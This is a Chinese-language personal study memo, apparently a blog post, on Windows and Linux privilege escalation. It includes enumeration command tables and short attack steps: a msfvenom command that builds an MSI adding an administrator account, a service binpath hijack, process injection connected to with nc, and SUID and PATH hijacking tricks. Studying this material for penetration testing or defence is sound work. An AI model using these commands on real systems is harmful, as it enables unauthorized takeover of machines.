windows和Linux权限提升

放在开头

本人水平很菜(没有谦虚),此文仅为个人备忘录,算是自己对学过知识的一个总结以备复习。本人qq:925047779,关于本文可能出现的的问题请联系我,出现错误必及时修改,也欢迎一起探讨。

权限提升

由于现在的操作系统多为多用户操作系统,存在用户间权限控制,比如通过web漏洞拿到的是Web进程的权限,往往Web服务都是以一个权限很低的账号启动的,因此通过Webshell进行操作可能会受限,这时便需要提权。

Windows提权

溢出提权

通常是通过windows系统漏洞或系统中软件的漏洞来获取os的system权限(强调是超级管理员,与Administrator不同)。溢出提权有远程溢出和本地溢出两种,远程溢出需要与远程服务器建立连接,然后根据漏洞使用响应的溢出程序提权;本地提权向服务器上传本地溢出程序,然后在服务器执行进而提权。

一般步骤
  1. 信息收集,如查看当前权限,查看版本和补丁情况。
  2. 搜集可利用的漏洞。
  3. 根据漏洞查找EXP.。
  4. 使用EXP提权。
信息收集命令
  1. 低权限shell常用命令
描述命令
常看当前用户权限whoami
查看目标操作系统、版本及补丁systeminfo
查看主机名hostname
查看当前用户echo %username%
查看所有用户net user
查看用户详细信息net user 用户名
查看环境变量set
查看所有网络接口ipconfig /all
查看路由表route print
查看所有接口的ARP缓存arp -A
查看活动的网络连接、端口、PIDnetstat -ano
查看防火墙状态netsh advfirewall firewall
查看防火墙配置netsh advfirewall config
查看计划任务详情schtasks /query /fo /LIST /v
查看系统进程提供的服务tasklist /svc
查看系统启动的服务net start
查看系统驱动程序driverquery
查看目录和文件权限icacls “C:\Program Files”
查看服务详细配置sc qc 服务名
关闭服务sc stop 服务名
打开服务sc start 服务名
修改服务binpathsc config “服务名” binpath=“C:\exp.exe”
生成添加管理的MSI安装文件msfvenom -p windows/adduser USER=a$ PASS=123456Pp. -f msi -o /exp.msi
  1. 使用WMIC枚举目标信息
描述命令
查看计算机补丁安装情况wmic qfe list
查看系统位数wmic cpu get addresswidth
列出进程wmic process list brief
获取进程路径wmic process get description,executablepath
查看启动项wmic startup
查看共享wmic share get name,path
查看软件安装的版本wmic product get name,version
查看是否为虚拟机wmic bios list full
查看环境变量wmic ENVIRONMENT where “name=‘path’” get UserName,VariableValue
查看没有加引号的服务wmic service get name,displayname,pathname,startmode
搜搜EXP
  1. Github Exploit-DB漏洞存储库
  2. Metasploit
  3. Exploit-DB官网
  4. github exp
溢出提权的例子目前还没找到(说白了还是菜)
错误系统配置提权
Trusted Service Paths漏洞

Windows服务运行时,如果服务路径(存储在Windows注册表项中)和快捷方式路径具有一个或多个空格并且没有用引号括起来,Windows会对每一个空格尝试寻找名字与空格前的名字相匹配的程序执行,这样会很容易受到路径拦截,然后造成Trusted Service Paths漏洞利用。
如:C\Program Files\Common Files\Services.exe没有被引号抱起来,服务启动时依次做如下尝试
C\Program.exe
C\Program Files\Common.exe
C\Program Files\Common Files\Services.exe
所以此时可以通过在相应目录建立文件进行截断,使我们的恶意程序以高权限执行。

PATH环境变量配置错误

平时常用的命令(如:cmd、ipconfig等等),如果环境变量中未使用绝对路径那么会在当前目录寻找对应的执行文件,如果没有则根据PATH中的路径去寻找。而Windows常用命令大多在“%SystemRoot%\system32”(“C:\Windows\System32”)中,所以如果PTAH中的**“%SystemRoot%\system32”之前添加了别的变量,那么当使用Windows常用命令时会先在之前的环境的映射中查找我们输入的命令。
举例:
在这里插入图片描述此主机的PATH中的
“%SystemRoot%\system32”**存在“C:\Program Files (x86)\Common Files\Oracle\Java\javapath;”和“D:\workspace\VMware Workstation\bin;”,所以当我们在“C:\Program Files (x86)\Common Files\Oracle\Java\javapath;”中建立“ipconfig.exe”时,我们再在cmd中直接使用ipconfig命令实际上就是调用“C:\Program Files (x86)\Common Files\Oracle\Java\javapath\ipconfig.exe

不安全的服务权限

accesschk命令

描述命令举例
查看 用户/用户组 对 文件/文件夹 的权限accesschk 用户/用户组 文件/文件夹accesschk fairy “C:\Program Files”
列出所有服务的权限accesschk -ucqv *
查看 用户/用户组 具有写权限的服务accesschk 用户/用户组 -cw *accesschk fairy -cw *
要查看 用户/用户组 对HKEY_LOACL_MACHINE\SoftWare 目录下注册表的权限accesschk -k 用户/用户组 hklm\softwareaccesschk -k fairy hklm\software
查看每个人都可以修改的全局对象accesschk -wuo everyone\

注:accesschk并未windows直接提供,需要下载accesschk.exe或者Windows Sysinternals工具包,为了方便可以将accesssck.exe放在C:\windows\system32中(可直接通过已加载的环境变量使用),也可以自己再添加环境变量。此外,accesschk命令第一次使用时会打开一个弹窗,所以在命令后需要使用 /accepteula来避免弹窗。

原理:Windows服务通常是以System权限运行的,当系统中出现错误配置导致低权限的用户可以对某些服务修改时(如修改服务的启动路径),可以通过修改服务启动文件的路径“binpath”使其指向恶意程序并在服务重启时执行恶意程序。
此处不再赘述,后续再更。

不安全的注册表权限

Windows的服务都存储在注册表项中,若注册表权限配置不当,被攻击者发现低权限用户可以修改的注册表项时,则攻击者可以将“ImagePath”修改成恶意程序的路径,若对应服务重启则可以导致提权。

MSI文件提权

若系统的Windows Installer组件开启了永远以高特权进行安装的配置,那么将导致非特权用户以System权限运行MSI文件,也就是可以先生成恶意的MSI文件,将之上传后再以低权限用户调用“msiexec”命令便可以运行MSI文件。

  1. 检查Windows Installer组件是否配置了永远以高特权进行安装:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARENPolicies\Microsoft\Windows\Installer /v AlwaysInstallElevated
//查看键值是否为1
  1. msfvenom生成我们需要的MSI安装文件并上传到服务器对应目录
  2. “msiexec” 运行MSI文件
计划任务提权

计划任务有两个命令at和schtasks.

  1. at 命令默认以system权限执行,如果支持at命令可以用“at 12:00 /interactive cmd.exe”打开一个cmd.(问题在于现在的系统大多抛弃了at命令改用schtasks了,可能就是为了安全才这么干的吧。)
  2. schtasks /create /tn duan /tr cmd.exe /sc once /st 20:00 #创建一个名为duan, 在20:00运行一次cmd.exe
    命令是真的记不住,需要用就Bing吧。
启动项/组策略提权

Windows启动项目录下的脚本可以开机自启,组策略启动、关机、登录和注销脚本目录下的脚本在相关事件发生时会运行,利用这一特性向可控制的上述目录传入恶意脚本可以达到提权的目的。

进程注入提权

进程注入提权不必创建新进程隐蔽性高。

  1. 下载pinjector
  2. pinjector.exe -l 发现可用的进程
  3. pinjector -p pid cmd port
  4. kali下连接:nc -nv ip port

Linux提权

内核漏洞提权
信息搜集
描述命令
查看系统全部信息uname -a
查看内核版本uname -r
查看内核信息cat /proc/version
查看Centos版本cat /etc/*-release
查看Ubuntu和Debain版本cat /etc/issue
查看RedHat版本cat /etc/redhat-release
查看当前用户whoami
查看当前用户IDid
查看环境变量env
显示当前PATH环境变量echo $PATH
将当前目录添加到环境变量export PATH=.:$PATH
列出系统上的所有用户cat /etc/passwd
查看UID为0的用户awk -F: ‘($3==0){print $1}’ /etc/passwd
查找设置了SUID的文件find / -user root -perm -4000 -exec ls -ldb {} ;
查看计划任务cat /etc/crontab
查看文件/文件夹权限ls -la 文件/文件夹
查找EXP
  1. Github Exploit-DB漏洞存储库
  2. Metasploit
  3. Exploit-DB官网
  4. github exp
补充

管理员UID为“0”,系统用户UID为“1~999”,普通用户UID从“1000”开始。
scp /usr/share/exploitdb/exploits/linux/local/文件 目标机用户名@目标机IP:/tmp(此命令可将exp程序发送到目标机的tmp目录下(通常所有用户都对tmp目录有读写权限))

SUID提权

SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限,若是对一些特殊命令设置了SUID,那么将会有被利用于提权的风险,常用的SUID提权命令有nmap、vim、find、bash、more、less、nano和cp等。

  1. 查找设置了SUID的文件:find / -user root -perm -4000 -exec ls -ldb {} ;
  2. 寻找是否有可用来进行SUID提权的命令
  3. 例如:find 1 -exec whoami ; 就可获得root权限(前提是find设置了SUID)
计划任务提权

运维人员通常会使用几哈任务执行脚本来完成一些操作,但是常在河边走哪有不湿鞋,一旦相关文件的权限配置出错,我们就可以进行攻击。比如当计划任务以root执行的脚本可以被任意用户编辑,这就相当于你暂时有了root的权限,我们可以通过修改脚本的内容来干坏事,等脚本下一次计划执行时,我们的目的就达成了。

环境变量劫持提权

在Shell输入命令时,Shell会按PATH环境变量中的路径依次搜索命令,若是存在同名的命令,则执行最先找到的,若是PATH中加入了当前目录,也就是“.”这个符号,则可能会被黑客利用,例如在“/tmp”目录下黑客新建了一个恶意文件“ls”,若root用户在“/tmp”目录下运行“ls”命令时,那么将会运行黑客创建的恶意文件。

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值